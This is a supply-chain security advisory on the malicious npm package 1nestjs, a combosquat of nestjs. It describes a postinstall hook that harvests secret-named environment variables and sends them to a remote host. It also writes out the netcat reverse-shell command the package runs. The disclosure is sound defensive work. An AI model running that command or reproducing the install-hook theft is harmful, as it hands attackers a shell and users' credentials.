1nestjs@0.0.1
Malicious code in 1nestjs (npm)
T1195.002 · Compromise Software Supply ChainT1059.007 · JavaScriptT1552.001 · Credentials In FilesT1082 · System Information DiscoveryT1041 · Exfiltration Over C2 ChannelT1059 · Command and Scripting Interpreter
Analysis
The package's postinstall hook executes index.js, which collects every environment variable whose name matches SECRET, API, TOKEN, or KEY and sends them over a TCP connection to a host:port read from servers.json (default 127[.]0[.]0[.]1:9999, overridable via TS_HOST/TS_PORT). It then runs `nc -e /bin/sh <host> <port>` to open a reverse shell to the same endpoint. The package name is a combosquat of the legitimate nestjs framework.
- analyzed by
- Leitwacht
- first seen
- Sep 3, 2026, 10:51 PM
- analyzed
- Sep 3, 2026, 10:52 PM
Related advisories
- 0nestjs@0.0.1
- @quantixfinance/database@1.0.1
- @quantixfinance/token@1.0.1
- @quantixfinance/contracts@1.0.0
- @quantixfinance/wallet@1.0.0
- @quantixfinance/common@1.0.0
- @quantixfinance/sdk@1.0.0
- @quantixfinance/api@1.0.0
Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.